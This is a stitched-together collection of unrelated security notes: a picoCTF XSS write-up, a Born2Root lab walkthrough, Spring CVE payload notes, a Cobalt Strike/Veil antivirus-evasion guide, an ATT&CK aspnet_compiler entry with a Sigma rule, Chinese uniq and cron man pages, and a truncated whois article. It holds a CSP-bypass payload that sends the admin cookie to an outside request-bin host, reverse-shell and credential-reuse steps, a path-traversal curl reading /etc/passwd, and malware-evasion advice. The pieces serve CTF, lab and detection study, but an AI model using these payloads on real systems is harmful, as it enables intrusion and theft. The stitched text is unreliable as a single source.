CSP of `default-src 'none'` blocks any script execution, so even if someone visits `'https://pastebin-1.mars.picoctf.net/?paste=<script>alert(1)</script>'` they won't see any alert popping up. Therefore, we will need to continue looking for an entry vector. As we can see, if the current request doesn't contain a paste, the CSP is a bit more permissive: ```javascript if (!paste) { return res.writeHead(200, { 'content-type': 'text/html', 'content-security-policy': 'default-src \'none\'; script-src \'self\' \'sha256-a857n1MW8s/5S6R7Gyc+gFaD9SwMs5eEheAroy0rzWw=\'' }).end(pageNew) } ``` In this case, `script-src` is set to `self` (which means scripts from the same origin are accepted) and `sha256-a857n1MW8s/5S6R7Gyc+gFaD9SwMs5eEheAroy0rzWw=` (which means that scripts that have the given SHA256 signature are accepted). The SHA256 signature is here to allow the following script, which is embedded into the page: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/pastebin-1] └─$ echo -n "error.innerHTML=decodeURIComponent(location.hash.slice(1))" | sha256sum | awk '{ printf $1 }' | xxd -p -r | base64 a857n1MW8s/5S6R7Gyc+gFaD9SwMs5eEheAroy0rzWw= ``` Since we won't be able to find a collision which matches the same hash, we need to concentrate on the `script-src 'self'` part. We already know that we can create any Javascript code we want using the `paste` parameter, so we should probably look for a way to get it executed in the context of the main page. Notice the the main page has the following code: ```html <div id="error"></div> <script>error.innerHTML=decodeURIComponent(location.hash.slice(1))</script> ``` This means that for a given URL, anything after the `#` sign will be rendered as HTML. So, for example, we can access `https://pastebin-1.mars.picoctf.net/#%3Cb%3Etest%3C/b%3E` and get the following HTML code: ```html <html><head></head><body><h3>make a new paste</h3> <form> <textarea name="paste"></textarea> <br> <input type="submit"> </form> <div id="error"><b>test</b></div> <script>error.innerHTML=decodeURIComponent(location.hash.slice(1))</script> </body></html> ``` Of course, we, can't use a `<script>` tag since it won't get executed due to the CSP policy. However, using [these CSP bypass guidelines](https://brutelogic.com.br/blog/csp-bypass-guidelines/) we arrive to [this tweet](https://twitter.com/brutelogic/status/1359146022149251073) which contains: > #XSS vector for when you need to call a script to bypass some "script-src" CSP directive in a DOM-based scenario. > > `<Iframe SrcDoc="<Script Src=URL></Script>">` Here's a proof of concept which pops up an alert: ``` https://pastebin-1.mars.picoctf.net/#<Iframe SrcDoc="<Script Src=https://pastebin-1.mars.picoctf.net/%3fpaste=alert`1`></Script>"> ``` We just need to extend this by creating a request bin and leaking the admin cookie: ``` https://pastebin-1.mars.picoctf.net/#%3CIframe%20SrcDoc=%22%3CScript%20Src=https://pastebin-1.mars.picoctf.net/%3fpaste=window.open(`https://enpma6yaxzylc.x.pipedream.net/`.concat(btoa(document.cookie)))%3E%3C/Script%3E%22%3E ``` This uses the same infrastructure as the `alert` from the PoC, but instead of calling `alert` we trigger a request to our request-bin, to which we append the cookie: ```javascript window.open(`https://enpma6yaxzylc.x.pipedream.net/`.concat(btoa(document.cookie))) ``` We send the link to the admin and after a few moments receive the flag: ``` flag=picoCTF{c0nt3nt_s3curity_p0licy_is_c00l} ```
sec-knowleage
version: '2' services: web: image: vulhub/mini_httpd:1.29 command: mini_httpd -p 8080 -u www-data -h 0.0.0.0 -D -l /dev/stdout -v -T utf-8 ports: - "8080:8080"
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH UNIQ 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 uniq \- 报告或省略重复行 .SH 概述 \fBuniq\fP [\fI\,选项\/\fP]... [\fI\,输入 \/\fP[\fI\,输出\/\fP]] .SH 描述 .\" Add any additional description here .PP 从输入文件(或标准输入)筛选一组相邻的匹配行,写入到输出文件(或标准输出)。 .PP 如没有指定选项,则只保留一组匹配行中的第一行。 .PP 必选参数对长短选项同时适用。 .TP \fB\-c\fP, \fB\-\-count\fP 每行前附上重复出现的次数作为前缀 .TP \fB\-d\fP, \fB\-\-repeated\fP 仅显示重复行,每组一个 .TP \fB\-D\fP 显示所有重复的行 .TP \fB\-D\fP, \fB\-\-all\-repeated\fP[=\fI\,METHOD\/\fP] 类似 \fB\-D\fP,但是允许使用空行对各个组进行分隔;METHOD={none(default),prepend,separate} .TP \fB\-f\fP, \fB\-\-skip\-fields\fP=\fI\,N\/\fP 比较时跳过前 N 个域 .TP \fB\-\-group\fP[=\fI\,METHOD\/\fP] 显示所有行,用一个空行分隔每一组 METHOD={separate(default), prepend, append, both} .TP \fB\-i\fP, \fB\-\-ignore\-case\fP 比较时忽略大小写 .TP \fB\-s\fP, \fB\-\-skip\-chars\fP=\fI\,N\/\fP 比较时跳过前 N 个字符 .TP \fB\-u\fP, \fB\-\-unique\fP 只显示不重复的行 .TP \fB\-z\fP, \fB\-\-zero\-terminated\fP 以 NUL 作为行的分隔符,而非换行符 .TP \fB\-w\fP, \fB\-\-check\-chars\fP=\fI\,N\/\fP 对每行第 N 个字符以后的内容不作比较 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 域指一个由空字符(通常是空格和/或制表符)和紧随的非空字符组成的序列。同时使用跳过域和跳过字符选项时,先跳过域再跳过字符。 .PP 提示:"uniq" 不会检查重复的行,除非它们是相邻的行。您也许需要事先对输入排序,或使用 "sort \-u" 而非 "uniq"。 .SH 作者 由 Richard M. Stallman 和 David MacKenzie 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 \fBcomm\fP(1), \fBjoin\fP(1), \fBsort\fP(1) .PP .br 完整文档请见: <https://www.gnu.org/software/coreutils/uniq> .br 或者在本地使用: info \(aq(coreutils) uniq invocation\(aq
sec-knowleage
# Born2Root: 2 > https://download.vulnhub.com/born2root/Born2rootv2.ova 靶场IP:`192.168.32.18` 扫描对外端口服务 ``` ┌──(root㉿kali)-[~] └─# nmap -sV -p1-65535 192.168.32.18 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-13 00:09 EDT Nmap scan report for 192.168.32.18 Host is up (0.00012s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.10 ((Debian)) 111/tcp open rpcbind 2-4 (RPC #100000) 55052/tcp open status 1 (RPC #100024) MAC Address: 08:00:27:FC:25:B6 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds ``` 浏览器访问80端口 ![image-20220913121050120](../../.gitbook/assets/image-20220913121050120.png) 爆破目录 ``` ┌──(root㉿kali)-[~] └─# dirb http://192.168.32.18/ ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Tue Sep 13 00:10:53 2022 URL_BASE: http://192.168.32.18/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.32.18/ ---- ==> DIRECTORY: http://192.168.32.18/css/ ==> DIRECTORY: http://192.168.32.18/img/ + http://192.168.32.18/index.html (CODE:200|SIZE:8454) ==> DIRECTORY: http://192.168.32.18/javascript/ ==> DIRECTORY: http://192.168.32.18/joomla/ ==> DIRECTORY: http://192.168.32.18/js/ + http://192.168.32.18/LICENSE (CODE:200|SIZE:1093) ==> DIRECTORY: http://192.168.32.18/manual/ + http://192.168.32.18/server-status (CODE:403|SIZE:301) ==> DIRECTORY: http://192.168.32.18/vendor/ ``` 访问:`/joomla/` ![image-20220913121126841](../../.gitbook/assets/image-20220913121126841.png) 使用cewl生成密码字典 ``` ┌──(root㉿kali)-[/tmp] └─# cewl http://192.168.32.18/joomla/ > password ``` 爆破密码 ![image-20220913121534236](../../.gitbook/assets/image-20220913121534236.png) 爆破成功 ``` Username: admin Password: travel ``` 登录后台 ![image-20220913121657408](../../.gitbook/assets/image-20220913121657408.png) 编辑 index.php 后,单击"保存"按钮保存文件。现在我们已经成功地将 index.php 替换为我们的反向 shell 脚本。现在,剩下要做的就是运行 index.php。现在要获得会话,我们需要一个侦听器,我们将在其中获得反向 shell。我们将使用 netcat 创建一个监听器,如下图所示。 ![image-20220913122324499](../../.gitbook/assets/image-20220913122324499.png) ![image-20220913122338931](../../.gitbook/assets/image-20220913122338931.png) 发现:`fileshare.py`,找出账号和密码:`tim/lulzlol` ``` www-data@born2root:/$ cd /opt cd /opt www-data@born2root:/opt$ ls ls scripts www-data@born2root:/opt$ cd scripts cd scripts www-data@born2root:/opt/scripts$ ls ls fileshare.py www-data@born2root:/opt/scripts$ cat fileshare.py cat fileshare.py #!/usr/bin/env python import sys, paramiko if len(sys.argv) < 5: print "args missing" sys.exit(1) hostname = "localhost" password = "lulzlol" source = "/var/www/html/joomla" dest = "/tmp/backup/joomla" username = "tim" port = 22 try: t = paramiko.Transport((hostname, port)) t.connect(username=username, password=password) sftp = paramiko.SFTPClient.from_transport(t) sftp.get(source, dest) finally: t.close() ``` 切换到`tim`用户 ``` www-data@born2root:/opt/scripts$ su tim su tim Password: lulzlol ``` 查看sudo列表 ``` tim@born2root:/opt/scripts$ sudo -l sudo -l [sudo] password for tim: lulzlol Matching Defaults entries for tim on born2root: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User tim may run the following commands on born2root: (ALL : ALL) ALL ``` 切换到root用户 ![image-20230208133748149](../../.gitbook/assets/image-20230208133748149.png)
sec-knowleage
# Spring --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- > 官网 : https://spring.io/ **指纹** - `X-Application-Context:` **相关文章** - [spring框架的一些测试思路](https://www.cnblogs.com/cwkiller/p/12040535.html) - [spring-boot漏洞复现](https://mp.weixin.qq.com/s/hGm0wBON_mn9wh0-DxM19A) - [JavaWeb中常见的信息泄漏—Hystrix面板](https://mp.weixin.qq.com/s/vu7sbeEO-gnmcAUYsmcNAQ) - [Exploiting Spring Boot Actuators](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - [Spring Boot Actuators配置不当导致RCE漏洞复现](https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Spring%20Boot%20Actuators%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4RCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/) - [Spring Boot Actuator 漏洞利用](https://www.jianshu.com/p/8c18f1e05c94) - [Spring Boot Actuator H2 RCE复现](https://www.cnblogs.com/cwkiller/p/12829974.html) - [BRING YOUR OWN SSRF - THE GATEWAY ACTUATOR](https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/) **学习资源** - [LandGrey/SpringBootVulExploit](https://github.com/LandGrey/SpringBootVulExploit) - SpringBoot 相关漏洞学习资料 - [pyn3rd/Spring-Boot-Vulnerability](https://github.com/pyn3rd/Spring-Boot-Vulnerability) **相关工具** - [wyzxxz/heapdump_tool](https://github.com/wyzxxz/heapdump_tool) - [0x727/SpringBootExploit](https://github.com/0x727/SpringBootExploit) - 一款针对SpringBootEnv页面进行快速漏洞利用的工具 - [LFYSec/ActuatorExploit](https://github.com/LFYSec/ActuatorExploit) - [abbitmask/SB-Actuator](https://github.com/rabbitmask/SB-Actuator) - [spaceraccoon/spring-boot-actuator-h2-rce](https://github.com/spaceraccoon/spring-boot-actuator-h2-rce) - [mpgn/Spring-Boot-Actuator-Exploit: Spring Boot Actuator (jolokia) XXE/RCE](https://github.com/mpgn/Spring-Boot-Actuator-Exploit) --- ## Spring Boot Actuators 利用 ### 常见路径 ``` /actuator/env /env /heapdump /trace /api-docs /v2/api-docs /swagger-ui.html /api.html /sw/swagger-ui.html /api/swagger-ui.html /template/swagger-ui.html /spring-security-rest/api/swagger-ui.html /spring-security-oauth-resource/swagger-ui.html /mappings /actuator/mappings /metrics /actuator/metrics /beans /actuator/beans /configprops /actuator/configprops ``` ### heapdump信息 **相关文章** - [获取spring boot脱敏属性明文](https://www.jianshu.com/p/ae4be3af5231) - [使用 MAT 查找 spring heapdump 中的密码明文](https://landgrey.me/blog/16/) **相关工具** - [whwlsfb/JDumpSpider](https://github.com/whwlsfb/JDumpSpider) - HeapDump 敏感信息提取工具 ```bash # 需要使用Oracle JDK 1.8版本 java -jar JDumpSpider-1.0-SNAPSHOT-full.jar heapdump ``` **复现** 找到想要获取的属性名,访问目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。 下载 jvm heap 信息,访问目标的 /heapdump 或 /actuator/heapdump 接口,下载应用实时的 JVM 堆信息 下载的 heapdump 文件大小通常在 50M—500M 之间,有时候也可能会大于 2G 使用 [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php) 工具的 OQL 语句进行查询 ``` select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password")) 或 select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password")) ``` --- ## CVE-2016-4977 Spring Security OAuth2 远程命令执行漏洞 **描述** Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块.在其使用 whitelabel views 来处理错误时,由于使用了 Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令. **影响版本** - spring_security_oauth 1.0.0 ~ 1.0.5 - spring_security_oauth 2.0.0 ~ 2.0.9 **相关文章** - [Spring Security OAuth RCE (CVE-2016-4977) 漏洞分析](https://paper.seebug.org/70/) - [漏洞复现|CVE-2016-4977(SpringSecurityOauth RCE)](https://mp.weixin.qq.com/s/dHnD3z8BlSFvfkDZ1gVo-g) **POC | Payload | exp** 来源: https://vulhub.org/#/environments/spring/CVE-2016-4977/ - [vulhub/spring/CVE-2016-4977/poc.py](https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py) --- ## CVE-2017-4971 Spring WebFlow 远程代码执行漏洞 **描述** Spring WebFlow 是一个适用于开发基于流程的应用程序的框架 (如购物逻辑) ,可以将流程的定义和实现流程行为的类和视图分离开来.在其 2.4.x 版本中,如果我们控制了数据绑定时的 field,将导致一个 SpEL 表达式注入漏洞,最终造成任意命令执行. **影响版本** - spring_web_flow 2.4.0 ~ 2.4.4 **相关文章** - [Spring WebFlow 远程代码执行漏洞 (CVE-2017-4971) ](https://vulhub.org/#/environments/spring/CVE-2017-4971/) --- ## CVE-2017-8046 Spring Data Rest 远程命令执行漏洞 **描述** Spring Data REST 是一个构建在 Spring Data 之上,为了帮助开发者更加容易地开发 REST 风格的 Web 服务.在 REST API 的 Patch 方法中 (实现 RFC6902) ,path 的值被传入 setValue,导致执行了 SpEL 表达式,触发远程命令执行漏洞. **影响版本** - spring_boot < 1.5.9 - spring_boot 2.0.0:m1 ~ 2.0.0:m5 - spring_data_rest < 2.6.9 - spring_data_rest 3.0.0 ~ 3.0.0:rc3 **相关文章** - [Spring Data Rest 远程命令执行漏洞 (CVE-2017-8046) ](https://vulhub.org/#/environments/spring/CVE-2017-8046/) --- ## CVE-2018-1270 Spring Messaging 远程命令执行漏洞 **描述** spring messaging 为 spring 框架提供消息支持,其上层协议是 STOMP,底层通信基于 SockJS, 在 spring messaging 中,其允许客户端订阅消息,并使用 selector 过滤消息.selector 用 SpEL 表达式编写,并使用 StandardEvaluationContext 解析,造成命令执行漏洞. **影响版本** - spring_framework < 4.2.9 - spring_framework 4.3.0 ~ 4.3.15 - spring_framework 5.0 ~ 5.0.5 **相关文章** - [Spring Messaging 远程命令执行漏洞 (CVE-2018-1270) ](https://vulhub.org/#/environments/spring/CVE-2018-1270/) --- ## CVE-2018-1273 Spring Data Commons RCE 远程命令执行漏洞 **描述** Pivotal Spring Data Commons 和 Spring Data REST 都是美国 Pivotal Software 公司的产品。Pivotal Spring Data Commons 是一个为数据访问提供基于 Spring 模型的项目。Spring Data REST 是一个建立在 Spring Data 存储库之上的用于分析应用程序的域模型并公开超媒体驱动的 HTTP 资源。 Pivotal Spring Data Commons 和 Spring Data REST 中存在安全漏洞。远程攻击者可利用该漏洞执行代码。以下产品和版本受到影响:Spring Data Commons 1.13 版本至 1.13.10 版本,2.0 版本至 2.0.5 版本及一些已不再支持的老版本;Spring Data REST 2.6 版本至 2.6.10 版本,3.0 版本至 3.0.5 版本及一些已不再支持的老版本。 **相关文章** - [Spring Data Commons 远程命令执行漏洞 (CVE-2018-1273) ](https://vulhub.org/#/environments/spring/CVE-2018-1273/) **影响版本** - spring_data_commons < 1.12.10 - spring_data_commons 1.13 ~ 1.13.10 - spring_data_commons 2.0 ~ 2.0.5 - spring_data_rest < 2.5.10 - spring_data_rest 2.6 ~ 2.6.10 - spring_data_rest 3.0 ~ 3.0.5 **POC | Payload | exp** - [wearearima/poc-cve-2018-1273](https://github.com/wearearima/poc-cve-2018-1273) - [jas502n/cve-2018-1273](https://github.com/jas502n/cve-2018-1273) --- ## CVE-2020-5398 Spring MVC/Spring WebFlux header 导致的 RFD 攻击 **相关文章** - [CVE-2020-5398 Spring MVC/Spring WebFlux header导致的RFD攻击风险通告](https://www.anquanke.com/post/id/197418) **POC | Payload | exp** ``` GET /?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Awhoami%27%20--dump-header%20- HTTP/1.1 Host: 192.168.248.129:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close ``` --- ## CVE-2020-5410 Spring Cloud Config目录穿越漏洞 **相关文章** - [CVE-2020-5410 Spring Cloud Config目录穿越漏洞](https://xz.aliyun.com/t/7877) **POC | Payload | exp** ``` curl "vulnerablemachine:port/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development" ``` --- ## CVE-2020-5412 Spring Cloud Netflix Hystrix Dashboard SSRF **相关文章** - [CVE-2020-5412分析复现](https://zhzhdoai.github.io/2020/09/01/CVE-2020-5412%E5%88%86%E6%9E%90%E5%A4%8D%E7%8E%B0/) **POC | Payload | exp** ``` /proxy.stream?origin=http://www.baidu.com ``` --- ## CVE-2021-22053 Spring Cloud Netflix Hystrix Dashboard template resolution vulnerability **POC | Payload | exp** - [SecCoder-Security-Lab/spring-cloud-netflix-hystrix-dashboard-cve-2021-22053](https://github.com/SecCoder-Security-Lab/spring-cloud-netflix-hystrix-dashboard-cve-2021-22053) --- ## CVE-2022-22947 Spring Cloud Gateway远程代码执行漏洞 **相关文章** - [从SSRF 到 RCE —— 对 Spring Cloud Gateway RCE漏洞的分析](https://mp.weixin.qq.com/s/w3et7TzqZ4ctyybEWQ82HQ) - [漏洞武器化之CVE-2022-22947 Spring Cloud Gateway表达式注入回显与内存马构造](https://mp.weixin.qq.com/s/lKKOUvWqU1Qpexus5u_3Uw) - [Spring cloud gateway通过SPEL注入内存马](https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/) - [Spring Cloud Function 漏洞复现](https://www.o2oxy.cn/4029.html) **POC | Payload | exp** - [lucksec/Spring-Cloud-Gateway-CVE-2022-22947](https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947) --- ## CVE-2022-22965 Spring4Shell **相关文章** - [CVE-2022-22965 Spring核心框架Spring4Shell远程命令执行漏洞原理与修复方式分析](https://mp.weixin.qq.com/s/G1z7mydl4nc9SxcZjwUQwg) **靶机环境** ```bash docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29 curl http://localhost:8082 ``` **POC | Payload | exp** - [TheGejr/SpringShell](https://github.com/TheGejr/SpringShell) - [lunasec-io/Spring4Shell-POC](https://github.com/lunasec-io/Spring4Shell-POC) - [reznok/Spring4Shell-POC](https://github.com/reznok/Spring4Shell-POC)
sec-knowleage
# 0x00 简介 AV查杀有几种方式:文件,内存,流量,行为。 以下文章基本都是做的比较简单的免杀,同时CS包含的其他模块可能被杀,我们有几种简单的思路,就不涉及什么定位特征码来做了。 1. 加壳 2. 多平台多语言生成shellcode 3. 加密shellcode 加载 4. 插入正常文件 5. 白名单加载 # 0x01 框架 这几款是比较热门的,但是感觉效果一般了。 1. Veil https://github.com/Veil-Framework/Veil 2. Phantom-Evasion https://github.com/oddcod3/Phantom-Evasion 3. shellter https://www.shellterproject.com/download/ 4. avet https://github.com/govolution/avet 总的来说支持msf的免杀框架都能用来免杀CS,因为他们的通讯是相通的,免杀msf用CS上线也是一样。 # 0x02 Veil 这里就拿Veil举例,因为Cobalt Strike生成的shellcode有支持他的,Veil的安装太繁琐了,各种出错,推荐使用docker 直接用。 >Attacks > Packages > Payload Generator ![Cobalt Strike ](./img/2.1.1.png) Veil-Evasion是veil 的老版本都一样 ![Cobalt Strike ](./img/2.1.2.png) 这里直接选择generate ![Cobalt Strike ](./img/2.1.3.png) 输入2 自定义shellcode ![Cobalt Strike ](./img/2.1.4.png) 然后把刚刚 `Payload Generator` 生成的veil shellcode 输入进去就OK了 工具还提供其他的payload加载方式, 免杀效果一般般吧 貌似window defender都过不了 ,人怕出名猪怕壮。 # 0x03 文末 不是很推荐用这类的框架,可以学习它的思路来自己写。 ### 本文如有错误,请及时提醒,以免误导他人
sec-knowleage
.TH cron 8 .SH NAME .B cron \- 定期执行指定命令的守护程序 (Vixie Cron) .SH 总览 .B cron .SH 描述 Cron 应该由 /etc/rc 或者 /etc/rc.local 启动(译注:有很多发行版与此不同的,如 RedHat6.x 使用 /etc/rc.d/init.d/crond )。系统会立即返回提示符状态,因此没有必要后缀 '&' 来启动。 Cron 在目录 /var/spool/cron 下搜索以 /etc/passwd 中账户名命名的 crontab 文件,将找到的文件内容加载到内存中。 Cron 还搜索 /etc/crontab 和目录 /etc/cron.d/ 下的文件,但这些文件使用另外的格式。(见 crontab(5) )。 Cron 平时出于休眠状态,每分钟醒来一次,检查所有储存的 crontab 文件,检查其中的每一条命令并适时执行。执行命令时,任何输出通过邮件发往 crontab 的拥有者(如果 crontab 中设置了 MAILTO 环境变量,就发往此变量所指的用户)。 .PP 另外, cron 每分钟检查它的 spool 目录以及 /etc/crontab) 的 modtime 【译注:即文件的最新修改时间,在文件系统的 i-node 中以 mtime 标记】,如果发生变化, cron 将检查所有 crontab 文件的 modtime ,并重新加载已改变的。这意味着即使修改 crontab 文件也没有必要重新启动 cron 守护程序。注意当 Crontab(1) 命令改变 crontab 时会刷新 spool 目录的 modtime 标记。 .PP .SH 另见 crontab(1), crontab(5) .SH 作者 Paul Vixie .SH "[中文版维护人]" .B Wang Dong <wangdong@163.net> .SH "[中文版最新更新]" 2000年12月23日 .SH "《中国linux论坛man手册翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# T1127-win-受信任的开发者实用程序代理执行(白名单) ## 来自ATT&CK的描述 攻击者可能会利用受信任的开发人员使用的程序来代理执行恶意载荷。有许多用于软件开发相关任务的实用程序可用于执行各种形式的代码,以协助开发、调试和逆向工程。这些实用程序通常可能使用合法证书进行签名,允许它们在系统上执行并通过有效绕过应用程序控制解决方案的受信任进程代理执行恶意代码。 ## 测试案例 ASP.NET 编译工具 Aspnet_compiler.exe 路径: ``` - c:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe - c:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe ``` 使用Build Provider和适当的文件夹结构执行C#代码。 ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -u ``` 用例:使用Microsoft签名的二进制文件执行代理负载以绕过应用程序控制解决方案 所需权限:用户 操作系统:Windows 10 ## 检测日志 windows security ## 测试复现 ``` C:\Users\liyang>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\liyang\desktop\asptest\ -f C:\users\liyang\desktop\asptest\none -u Microsoft (R) ASP.NET 编译工具版本 4.8.3752.0 要用来预编译 ASP.NET 应用程序的实用工具 版权所有(C) Microsoft Corporation。保留所有权利。 ``` ## 测试留痕 ``` 创建新进程。 创建者主题: 安全 ID: DESKTOP-PT656L6\liyang 帐户名: liyang 帐户域: DESKTOP-PT656L6 登录 ID: 0x47126 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x744 新进程名称: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe 令牌提升类型: %%1938 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程 ID: 0x1d04 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe  -v none -p C:\users\liyang\desktop\asptest\ -f C:\users\liyang\desktop\asptest\none -u ``` ## 检测规则/思路 参考Sigma官方检测规则,基于进程名称进行检测。 ``` title: Suspicious aspnet_compiler.exe Execution id: a01b8329-5953-4f73-ae2d-aa01e1f35f00 status: experimental description: Execute C# code with the Build Provider and proper folder structure in place. references: - https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/ tags: - attack.defense_evasion - attack.t1127 author: frack113 date: 2021/11/24 logsource: category: process_creation product: windows detection: selection: Image|contains|all: - C:\Windows\Microsoft.NET\Framework - aspnet_compiler.exe condition: selection falsepositives: - unknown level: medium ``` ### 建议 如果在服务器上看到启动此进程,可能是可疑的。 ## 参考推荐 MITRE-ATT&CK-T1127 <https://attack.mitre.org/techniques/T1127> Aspnet_Compiler.exe <https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/> ASP.NET 编译工具 (Aspnet_compiler.exe <https://www.cnblogs.com/nmcfshang/articles/451265.html>
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) > ---- # How to gather whois information ? - Whois Searches - Querying a Whois Database Information in regard to whois gathering and how attackers use the information use the information that is displayed in whois records against unsuspecting organizational members, leaders and employees. This documentation touches the windows side of whois information gathering. This documentation is intended more for Linux / Unix users than for Windows. ## Whois Searches whois searches allow the general public to search for information based on the grounds of, who web locations are registered to, expiry records, when a domain has been created, name servers and contact information. However whois information can also aid attackers in obtaining information to help launch a successful penetration into a network. The documentation contained here will describe the venues in which an attacker will undergo in order to successfully obtain information to breach into a network using such details. We will also show you how to protect your organization and organizational information from such attacks. This document will cover details of what the attacker will perform when attempting to penetrate or gain information from whois records which may help them in successfully breaching your security. ## Querying a Whois Database A whois look up will return information about the target company. Using this type of query you can also search for other entities associated with the target company. To perform the whois query against a remote host an attacker will issue the following command whois target-server.com -h whois.crsnic.net -H, this output will produce the following data: ``` $ whois google.com -h whois.arin.net Whois Server Version 2.0 Domain names in the .com and .net domains can now be registered with many different competing registrars. Go to http://www.internic.net for detailed information. Aborting search 50 records found ..... GOOGLE.COM.ACKNOWLEDGES.NON-FREE.COM GOOGLE.COM.AFRICANBATS.ORG GOOGLE.COM.ANGRYPIRATES.COM GOOGLE.COM.AR GOOGLE.COM.AU GOOGLE.COM.BAISAD.COM GOOGLE.COM.BD GOOGLE.COM.BEYONDWHOIS.COM GOOGLE.COM.BR GOOGLE.COM.BUGBOUNTY.TEST.CIPRI.COM GOOGLE.COM.CN GOOGLE.COM.CO GOOGLE.COM.DEADKNIFERECORDS.COM GOOGLE.COM.DGJTEST028-PP-QM-STG.COM GOOGLE.COM.DIGNITYPRODUCT.COM GOOGLE.COM.DO GOOGLE.COM.EG GOOGLE.COM.FORSALE GOOGLE.COM.HACKED.BY.JAPTRON.ES GOOGLE.COM.HANNAHJESSICA.COM GOOGLE.COM.HAS.LESS.FREE.PORN.IN.ITS.SEARCH.ENGINE.THAN.SECZY.COM GOOGLE.COM.HK GOOGLE.COM.HOUDA.DO.YOU.WANT.TO.MARRY.ME.JEN.RE GOOGLE.COM.IS.APPROVED.BY.NUMEA.COM GOOGLE.COM.IS.NOT.HOSTED.BY.ACTIVEDOMAINDNS.NET GOOGLE.COM.LASERPIPE.COM.DOMAINPENDINGDELETE.COM GOOGLE.COM.LOLOLOLOLOL.SHTHEAD.COM GOOGLE.COM.MAIKO.BE GOOGLE.COM.MX GOOGLE.COM.MY GOOGLE.COM.NOHAREKART.COM GOOGLE.COM.NS1.CHALESHGAR.COM GOOGLE.COM.NS2.CHALESHGAR.COM GOOGLE.COM.PE GOOGLE.COM.PK GOOGLE.COM.SA GOOGLE.COM.SG GOOGLE.COM.SHQIPERIA.COM GOOGLE.COM.SOUTHBEACHNEEDLEARTISTRY.COM GOOGLE.COM.SPAMMING.IS.UNETHICAL.PLEASE.STOP.THEM.HUAXUEERBAN.COM GOOGLE.COM.SPROSIUYANDEKSA.RU GOOGLE.COM.SUCKS.FIND.CRACKZ.WITH.SEARCH.GULLI.COM GOOGLE.COM.TESTZZZZ.3000-RI.COM.DELETE-DNS.COM GOOGLE.COM.TR GOOGLE.COM.TW GOOGLE.COM.UA GOOGLE.COM.UK GOOGLE.COM.UY GOOGLE.COM.VABDAYOFF.COM GOOGLE.COM To single out one record, look it up with "xxx", where xxx is one of the records displayed above. If the records are the same, look them up with "=xxx" to receive a full display for each record. >>> Last update of whois database: Thu, 29 Dec 2016 05:10:29 GMT <<< For more information on Whois status codes, please visit https://icann.org/epp NOTICE: The expiration date displayed in this record is the date the registrar's 